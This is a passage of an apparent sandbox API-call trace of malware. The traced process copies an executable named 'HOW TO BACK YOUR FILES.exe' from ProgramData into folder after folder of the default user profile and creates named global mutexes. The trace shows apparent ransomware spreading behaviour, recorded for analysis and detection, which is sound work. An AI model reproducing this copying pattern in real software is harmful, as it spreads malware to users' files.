dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.666] GetLastError () returned 0x0 [0100.666] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.666] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.666] CloseHandle (hObject=0xf4) returned 1 [0100.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.667] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.667] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7902520, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7902520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5297d0 [0100.667] lstrcatW (in: lpString1="My Music", lpString2="\\" | out: lpString1="My Music\\") returned="My Music\\" [0100.667] lstrcatW (in: lpString1="My Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Music\\HOW TO BACK YOUR FILES.exe") returned="My Music\\HOW TO BACK YOUR FILES.exe" [0100.667] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.667] FindNextFileW (in: hFindFile=0x5297d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0100.667] lstrcatW (in: lpString1="My Pictures", lpString2="\\" | out: lpString1="My Pictures\\") returned="My Pictures\\" [0100.667] lstrcatW (in: lpString1="My Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Pictures\\HOW TO BACK YOUR FILES.exe") returned="My Pictures\\HOW TO BACK YOUR FILES.exe" [0100.667] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.668] FindNextFileW (in: hFindFile=0x5297d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0100.668] lstrcatW (in: lpString1="My Videos", lpString2="\\" | out: lpString1="My Videos\\") returned="My Videos\\" [0100.668] lstrcatW (in: lpString1="My Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Videos\\HOW TO BACK YOUR FILES.exe") returned="My Videos\\HOW TO BACK YOUR FILES.exe" [0100.668] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.669] FindNextFileW (in: hFindFile=0x5297d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0100.669] FindClose (in: hFindFile=0x5297d0 | out: hFindFile=0x5297d0) returned 1 [0100.669] ReleaseMutex (hMutex=0xec) returned 1 [0100.669] CloseHandle (hObject=0xec) returned 1 [0100.669] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Default\\Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0100.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529810 | out: hHeap=0x4f0000) returned 1 [0100.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b188 | out: hHeap=0x4f0000) returned 1 [0100.669] lstrlenW (lpString="C:\\Users\\Default\\Downloads") returned 26 [0100.669] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\73A2CA9876E1CCAE426C3F344197B76A") returned 0xec [0100.669] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.669] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0100.669] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.669] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.670] CreateFileW (lpFileName="C:\\Users\\Default\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\downloads\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.670] GetLastError () returned 0x0 [0100.670] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.670] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.671] CloseHandle (hObject=0xf4) returned 1 [0100.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.671] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.671] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7928680, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7928680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529810 [0100.671] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0100.671] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.671] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.672] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\favorites\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.672] GetLastError () returned 0x0 [0100.672] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.672] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.673] CloseHandle (hObject=0xf4) returned 1 [0100.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.673] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.673] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7974940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7974940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529850 [0100.673] lstrcatW (in: lpString1="Links", lpString2="\\" | out: lpString1="Links\\") returned="Links\\" [0100.673] lstrcatW (in: lpString1="Links\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Links\\HOW TO BACK YOUR FILES.exe") returned="Links\\HOW TO BACK YOUR FILES.exe" [0100.673] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Favorites\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\favorites\\links\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.674] FindNextFileW (in: hFindFile=0x529850, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7974940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7974940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0100.674] lstrcatW (in: lpString1="Microsoft Websites", lpString2="\\" | out: lpString1="Microsoft Websites\\") returned="Microsoft Websites\\" [0100.674] lstrcatW (in: lpString1="Microsoft Websites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Websites\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Websites\\HOW TO BACK YOUR FILES.exe" [0100.674] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.674] FindNextFileW (in: hFindFile=0x529850, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc799aaa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc799aaa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0100.674] lstrcatW (in: lpString1="MSN Websites", lpString2="\\" | out: lpString1="MSN Websites\\") returned="MSN Websites\\" [0100.674] lstrcatW (in: lpString1="MSN Websites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSN Websites\\HOW TO BACK YOUR FILES.exe") returned="MSN Websites\\HOW TO BACK YOUR FILES.exe" [0100.675] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\favorites\\msn websites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.675] FindNextFileW (in: hFindFile=0x529850, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc799aaa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc799aaa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0100.675] lstrcatW (in: lpString1="Windows Live", lpString2="\\" | out: lpString1="Windows Live\\") returned="Windows Live\\" [0100.675] lstrcatW (in: lpString1="Windows Live\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Live\\HOW TO BACK YOUR FILES.exe") returned="Windows Live\\HOW TO BACK YOUR FILES.exe" [0100.675] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\favorites\\windows live\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.676] FindNextFileW (in: hFindFile=0x529850, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc799aaa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc799aaa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0100.676] FindClose (in: hFindFile=0x529850 | out: hFindFile=0x529850) returned 1 [0100.676] ReleaseMutex (hMutex=0xec) returned 1 [0100.676] CloseHandle (hObject=0xec) returned 1 [0100.676] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Default\\Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0100.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a868 | out: hHeap=0x4f0000) returned 1 [0100.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b1b8 | out: hHeap=0x4f0000) returned 1 [0100.676] lstrlenW (lpString="C:\\Users\\Default\\Links") returned 22 [0100.676] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\71D853E4E30991BDACB2F095FD5259FB") returned 0xec [0100.676] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.676] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0100.676] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.676] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\links\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.677] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\links\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.677] GetLastError () returned 0x0 [0100.677] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.677] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.677] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.678] CloseHandle (hObject=0xf4) returned 1 [0100.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.678] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.678] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7a0cec0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7a0cec0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529850 [0100.678] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0100.678] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.678] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\local settings\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.679] CreateFileW (lpFileName="C:\\Users\\Default\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\local settings\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.679] GetLastError () returned 0x0 [0100.679] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.679] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.680] CloseHandle (hObject=0xf4) returned 1 [0100.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.680] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.680] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7a33020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7a33020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529850 [0100.680] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0100.680] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0100.680] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Local Settings\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\local settings\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.681] FindNextFileW (in: hFindFile=0x529850, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0100.681] lstrcatW (in: lpString1="History", lpString2="\\" | out: lpString1="History\\") returned="History\\" [0100.681] lstrcatW (in: lpString1="History\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="History\\HOW TO BACK YOUR FILES.exe") returned="History\\HOW TO BACK YOUR FILES.exe" [0100.681] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Local Settings\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\local settings\\history\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.681] FindNextFileW (in: hFindFile=0x529850, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.681] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0100.681] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0100.681] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Local Settings\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\local settings\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.682] FindNextFileW (in: hFindFile=0x529850, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0100.682] lstrcatW (in: lpString1="Temporary Internet Files", lpString2="\\" | out: lpString1="Temporary Internet Files\\") returned="Temporary Internet Files\\" [0100.682] lstrcatW (in: lpString1="Temporary Internet Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe") returned="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" [0100.682] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Local Settings\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\local settings\\temporary internet files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.683] FindNextFileW (in: hFindFile=0x529850, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0 [0100.683] FindClose (in: hFindFile=0x529850 | out: hFindFile=0x529850) returned 1 [0100.683] ReleaseMutex (hMutex=0xec) returned 1 [0100.683] CloseHandle (hObject=0xec) returned 1 [0100.683] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Default\\Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0100.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a7c0 | out: hHeap=0x4f0000) returned 1 [0100.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b1e8 | out: hHeap=0x4f0000) returned 1 [0100.683] lstrlenW (lpString="C:\\Users\\Default\\Music") returned 22 [0100.683] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\4522945556A38C3D4B993237AE02DD59") returned 0xec [0100.683] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.683] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0100.683] lstrcatW (in: lpString1="", lpString2="HOW TO 